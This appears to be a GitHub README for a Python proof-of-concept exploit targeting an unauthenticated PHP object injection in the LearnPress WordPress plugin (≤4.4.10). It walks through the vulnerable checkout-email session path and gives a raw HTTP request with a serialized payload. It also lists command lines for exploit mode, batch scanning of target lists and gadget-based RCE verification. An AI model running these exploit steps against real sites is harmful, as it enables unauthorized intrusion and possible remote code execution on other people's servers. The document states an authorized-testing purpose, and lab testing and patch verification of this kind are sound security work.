
Python PoC and version checker for CVE-2026-104736, an unauthenticated PHP object injection in LearnPress ≤4.4.10 via the lp-ajax=checkout email parameter, with session-trigger and gadget verification.
Unauthenticated PHP object injection in the LearnPress WordPress LMS plugin (≤ 4.4.10). Guest checkout stores attacker-controlled data in the plugin session; affected builds deserialize it unsafely on read. Fixed in 4.4.11.
Authorized testing only. Do not point this tool at systems you do not own or lack written permission to test.
| CVE | CVE-2026-104736 |
| CVSS | 9.8 Critical |
| CWE | CWE-502 — Deserialization of Untrusted Data |
| Authentication | None (guest checkout AJAX) |
| Fixed version | LearnPress 4.4.11+ |
| Vector | POST body/query: lp-ajax=checkout, parameter checkout-email |
LearnPress is a popular LMS plugin for WordPress (courses, cart, checkout). It registers a custom AJAX front controller using the parameter lp-ajax (not the same as wp-admin/admin-ajax.php?action=..., though WordPress may still load during the request).
On vulnerable versions, the guest checkout handler accepts checkout-email, persists it in the LearnPress session, and later reads it through helper code that PHP-unserializes session values. Supplying a serialized PHP object can trigger property-oriented programming (POP) gadgets already present in WordPress core, LearnPress, or other plugins—potentially leading to remote code execution when a suitable chain exists.
This repository provides:
check mode — fingerprint LearnPress and compare version strings from exposed plugin files.exploit mode (default) — automated course discovery, optional cart prep, multi-URL checkout inject, session trigger, and human-readable Verdict output.chain.probe.txt — harmless stdClass blob for injection smoke tests (no code execution).Full POP / RCE chain generation is documented in CHAINS.md (lab only; not committed to git).
| Path | Description |
|---|---|
poc.py | CLI entrypoint (check / exploit) |
learnpress_core.py | Fingerprint, REST/HTML course ID discovery, LP AJAX helpers |
chain.probe.txt | Safe serialized probe (committed) |
| CHAINS.md | phpggc, RCE/file-write chains, lab verification |
| SECURITY.md | Responsible use |
| GITHUB.md | Publish to GitHub |
targets.example.txt | Example target list format |
tests/ | Unit tests (CI on push) |
Typical flow on ≤ 4.4.10 (see WordPress SVN tag 4.4.10):
LP_Ajax registers checkout for logged-in and checkout:nopriv for guests.LP_Checkout::process_checkout_handler() reads checkout-email from the request and, if non-empty, calls LearnPress::instance()->session->set( 'checkout-email', ... ) before full checkout validation completes.LP_Session_Handler::get() (via LP_Helper::maybe_unserialize()) may deserialize stored session values.Reference files:
4.4.11+ hardens this path (do not treat 4.4.11+ as exploitable via this issue).
checkout-email sanitizationIn 4.4.10, checkout-email is read with an email sanitizer (sanitize_email). That can strip or corrupt raw serialized strings (O:8:"stdClass"...), so exploitation may depend on exact version and filter behavior. Older branches (e.g. 4.1.x) may behave differently. Always confirm in a lab (session DB row, logs, or a known gadget), not only from HTTP messages.
sequenceDiagram
participant A as Attacker
participant W as WordPress / LearnPress
participant S as LP session store
A->>W: POST lp-ajax=checkout, checkout-email=serialized
W->>S: session set checkout-email
W-->>A: LP AJAX JSON e.g. cart_empty or success
A->>W: GET checkout or home same cookies
W->>S: session get
S-->>W: maybe_unserialize attacker object
Note over W: POP gadgets if classes exist
POST / HTTP/1.1
Host: lab.local
Content-Type: application/x-www-form-urlencoded
lp-ajax=checkout&checkout-email=O%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A3%3A%22pwn%22%3B%7D
Optional (when scraped): learn-press-checkout-nonce=...
Responses often wrap JSON between <!-- LP_AJAX_START --> and <!-- LP_AJAX_END -->.
git clone https://github.com/YOUR_USER/CVE-2026-104736.git
cd CVE-2026-104736
pip install -r requirements.txt
Requirements: Python 3.10+, network access to the target (lab).
# Version / exposure check only
python poc.py --mode check -u https://lab.local
# Default exploit (smart: REST course IDs, cart cap, multi-URL inject)
python poc.py -u https://lab.local
# Fast inject test without cart noise
python poc.py -u https://lab.local --payload-file chain.probe.txt --no-cart
# Machine-readable output
python poc.py -u https://lab.local --json -o result.json
python poc.py --mode check -u https://example.com
python poc.py --mode check -f targets.txt -o results.jsonl
Behavior:
wp-content/plugins/learnpress/readme.txt and learnpress.php for Stable tag / Version.vulnerable, patched, learnpress_not_detected, learnpress_unknown_version, unreachable.Limits: Hidden version files, caching, or WAF may yield unknown_version even when LearnPress is installed. Exploit mode can still be attempted with --skip-version-check in authorized labs.
| Step | What the PoC does |
|---|---|
| 1. Fingerprint | LearnPress version from readme/plugin header when exposed |
| 2. Context | Discover checkout URL, optional nonce, POST URL candidates |
| 3. Course IDs | REST first: wp-json/wp/v2/lp_course, learnpress/v1/courses; then HTML scrape / course permalinks |
| 4. Cart (optional) | Try add-to-cart / purchase-course on course URL + home (capped at --cart-max-posts, default 10) |
| 5. Inject | POST lp-ajax=checkout + checkout-email=<payload> to several URLs; pick best LP AJAX response |
| 6. Trigger | GET checkout page and homepage with same session cookies |
Disable smart behavior: --no-smart (single POST to / only). Skip cart entirely: --no-cart (recommended for pure inject testing).
python poc.py -u https://lab.local
python poc.py -u https://lab.local --payload-file chain.probe.txt --no-cart
python poc.py -u https://lab.local --payload-file chain.txt --no-cart
python poc.py -u https://lab.local --payload-file chain.txt --gadget-expect "uid="
python poc.py -f targets.txt -o batch.jsonl --quiet
| File | In git? | Purpose |
|---|---|---|
chain.probe.txt | Yes | Harmless stdClass — injection / handler reachability |